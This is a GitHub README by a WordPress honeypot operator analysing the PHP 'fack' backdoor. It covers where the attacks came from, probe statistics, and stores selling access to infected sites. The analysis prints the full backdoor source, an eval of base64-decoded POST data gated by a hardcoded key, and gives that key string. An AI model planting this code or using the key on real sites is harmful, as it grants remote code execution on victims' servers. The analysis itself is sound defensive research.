Skip to content

Latest commit

 

History

History

README.md

The "fack" backdoor

For years my WordPress honey pot has caught large numbers of attempts to download large blocks of Base64-encoded PHP. These attempts include two HTTP parameters, named "key", and "fack". The parameter named "key" almost always had a value "sdfadsgh4513sdGG435341FDGWWDFGDFHDFGDSFGDFSGDFG".

The earliest such attack occurred 2014-12-10 17:09:46-07. This was about a year after I started running a WordPress honey pot. I've recorded 1.2 million such accesses since then.

The lion's share (over 1 million) of these HTTP accesses are for URLs ending in:

  • /wp-content/plugins/wp_module/wp_tags.php
  • /wp-content/uploads/2015/11/mod_arcweb.php

Somewhere along the line, I missed the download of this backdoor. I finally (2019-06-10 or so) caught it again. Even though it's pretty obvious what the backdoor did, I'm glad to have the opportunity to see the code.

Origin

Download

There's not much to go on here: the attacker(s) invoked a URL ending in /wp-content/plugins/apikey/apikey.php. I've fixed up my WordPress honey pot so that it can act as an apikey.php backdoor. There's not much to the apikey.php backdoor. It can answer "testtrue" (not HTML, just the string), to a specific HTTP query, and it can download files to the compromised WordPress host, via the move_uploaded_file PHP builtin. It answers "true" if the download probably succeeds. apikey.php doesn't bother to check the return status of move_uploaded_file(), so who really knows? Typical of rubbish PHP malware. The attacker(s) used it to send a completely un-obfuscated file to my honey pot.

IP Address 45.227.255.151

45.227.255.151 → hostby.web4net.org

web4net.org → 85.93.31.124

whois says that 45.227.255.151 is owned by a mysterious, Panamanian off-shore company:

inetnum:     45.227.255/24
owner:       Okpay Investment Company
address:     Av la Paz, El ingenio, 1292, ----
address:     0000 - Panama - --
country:     PA
inetrev:     45.227.255/24
created:     20180507
changed:     20180507
inetnum-up:  45.227.252/22

traceroute has 45.227.255.151 probably physically located in Netherlands:

traceroute to 45.227.255.151 (45.227.255.151), 30 hops max, 60 byte packets
 1  versorouter (162.246.45.129)  50.238 ms  60.597 ms  60.582 ms
 2  10.100.100.1 (10.100.100.1)  60.558 ms  60.535 ms  60.510 ms
 3  v231.core1.den1.he.net (216.66.73.25)  60.489 ms  60.463 ms  60.442 ms
 4  100ge14-1.core1.mci3.he.net (184.105.64.50)  69.756 ms  69.748 ms  82.166 ms
 5  100ge8-1.core2.chi1.he.net (184.105.81.210)  87.184 ms 100ge15-1.core2.chi1.he.net (184.105.222.78)  87.180 ms  87.145 ms
 6  100ge16-1.core1.nyc4.he.net (184.105.223.162)  104.582 ms  54.362 ms 100ge8-1.core1.nyc4.he.net (184.104.193.37)  64.304 ms
 7  100ge16-2.core1.lon2.he.net (72.52.92.165)  126.814 ms  126.800 ms  126.770 ms
 8  linx.r1.eqx-am7.nl.as43350.com (195.66.226.154)  136.879 ms  131.825 ms  131.777 ms
 9  185.107.116.3 (185.107.116.3)  139.318 ms  194.787 ms 185.107.116.4 (185.107.116.4)  187.247 ms
10  hostby.web4net.org (45.227.255.151)  189.844 ms * *

geoiplookup has the last two hops in that traceroute, 195.66.226.154 and 185.107.116.3, in Netherlands, but has no info for 45.227.255.151. Hurricane Electric is super bad about physical locations for its IP addresses, but the traceroute roughly looks like it goes Denver → Chicago → New York City → London UK. If we squint, we see "nl" for "Netherlands" in the DNS name for 195.66.226.154.

web4net.org seems to be a hosting company, offering email hosting, virtual private servers, dedicated servers, and VPNs. They have instructions in 26 languages. They have an international presence.

A shady Panamanian hosting company, with IP addresses in Netherlands. Seems about right.

Deobfuscation

None needed. The attacker(s) conveniently didn't do anything obscure, conceal or defend this code.

Analysis

The backdoor itself is a pretty short piece of code:

<?php 
error_reporting(0);
set_time_limit(0);
if ($_GET['q']=='1'){echo '200'; exit;}

if($_GET['key']=='sdfadsgh4513sdGG435341FDGWWDFGDFHDFGDSFGDFSGDFG')eval(base64_decode($_POST['fack']));
if(md5($_GET['key'])=='7663f1b3555993ad229183b0efad3261')eval(base64_decode($_POST['fack'])); 
?> 

We can discern two functions:

  1. If the attacker sends an HTTP GET request, with a parameter named "q" which has a value of "1", it sends back a 3-character string "200". This gives the "fack" backdoor a small recon capability. Perhaps this gets used to scan for existence of this backdoor.
  2. An immediate-eval backdoor. If the backdoor invocation includes a parameter named "key" with a string value "sdfadsgh4513sdGG435341FDGWWDFGDFHDFGDSFGDFSGDFG", the backdoor will decode the Base64-encoded value of a parameter named "fack", and immediately eval any code that results from that decoding.

PHP malware always has something that just doesn't make sense. Part that doesn't make any sense for this backdoor is the dual path to "fack" value decoding and eval. You can send a parameter "key" with a value of "sdfadsgh4513sdGG435341FDGWWDFGDFHDFGDSFGDFSGDFG", or you can send a parameter named "key" with a value that has an MD5 hash of "7663f1b3555993ad229183b0efad3261". The string "sdfadsgh4513sdGG435341FDGWWDFGDFHDFGDSFGDFSGDFG" does not have an MD5 hash of "7663f1b3555993ad229183b0efad3261". I haven't been able to find whatever hashes to that in google.

In either path, the HTTP parameter "key" and its value appear exposed in the URL, given that the backdoor code finds the value via the PHP superglobal _GET. Why bother MD5-hashing it? Alternatively, why have two paths to immediate code eval?

I hacked together an example program that can exercize the fack-and-key backdoor.

q=1 probing behavior

Right now, I have 8299 invocations of typical "fack" backdor URLs (see above) in my honey pot's retained data which have a URL ending in ?q=1, recon probe URLs. These probes arrived over the course of exactly 35 days.

The probes have TCP port numbers in ranging from 32770 to 65472. According to Wikipedia on 2019-06-15, this is consistent with the ephemeral port range used by "many Linux kernels".

TCP Port number range

key and fack parameter download attempts

During the same 35 days, only 1169 attempts to use the "fack" backdoor occurred. 40 different IP addresses made those attempts.

TCP port numbers ranged from 32796 to 60986, and no User Agent string appeared in the requests, except for 4 requests that had "python-requests/2.21.0" as the user agent, and 2 requests with "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.1 Safari/537.36" as the user agent. These 6 requests did have TCP port numbers outside the Linux kernel ephemeral port range. The also sent much smaller pieces of base64-encoded PHP for immediate eval. The invocations with "python-requests/2.21.0" User Agent string may just have been scanning for live backdoors: the code they sent ended up as

echo "boyfriendfox";

The downloads send about 388,000 bytes of base64-encoded PHP each time. Size does vary: it appears that each download is customized as far as what it reports back to the attacker(s).

Around The Web

Someone was trying to figure out how to send PHP code to the "fack" backdoor. This is well after my web server started getting "key" and value for the "fack" backdoor, so it's probably someone who found the backdoor code in a compromised web site, or someone who purchased access (!) to the backdoor, and couldn't quite comprehend the instructions.

Someone made an undated, obfuscated submission to unphp.net.

Online Store Selling access

Googling for the "key" value, I found an online store selling access to this backdoor, at $0.40 per URL, minimum 40 URLs. this was mid-June, 2019, https://www.backsib.com.

It has instructions in both Russian and English!

backdoor store 1

→→→

backdoor store 2

→→→

backdoor store 3

→→→

Just for fun, another place selling the same type of shells, for $0.90 per URL.

cracked.to web shell store